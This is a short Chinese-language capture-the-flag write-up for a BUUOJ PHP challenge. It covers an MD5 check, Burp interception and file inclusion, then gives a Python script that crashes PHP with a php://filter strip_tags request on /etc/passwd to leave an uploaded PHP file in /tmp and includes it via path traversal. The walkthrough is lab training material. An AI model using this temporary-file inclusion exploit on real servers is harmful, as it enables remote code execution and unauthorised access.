进入页面后F12查看网页源码,根据提示我们可以知道经过md5编码后的name要与pass相同
经过测试可以发现name没有参数时和name有参数是的Hash值是不同的,猜测这里是将name编码后的值赋给了Hash
令name=1,pass为name为1时的Hash值即可,但发现直接跳转到404页面
这里需要使用BP拦截,可以看到给出一个php文件
打开后发现是个文件包含
通过dirsearch扫目录可以得到dir.php ,包含他可以看到这个页面列出了 /tmp 下的所有文件
这里考察的是PHP临时文件包含,其基本是两种情况:
- 利用能访问的phpinfo页面,对其一次发送大量数据造成临时文件没有及时被删除
- PHP版本<7.2,利用php崩溃留下临时文件
使用py脚本尝试写入shell
import requests
from io import BytesIO
payload = "<?php phpinfo()?>"
file_data = {
'file': BytesIO(payload.encode())
}
url = "http://f6a351b3-c226-4aab-b5a7-1c72236efcc6.node4.buuoj.cn/flflflflag.php?"\
+"file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)
再次通过dir.php来查看上传成功后的文件名
成功上次后发现并不能直接访问tmp目录下的文件../一层一层尝试即可,访问执行后发现flag在phpinfo页中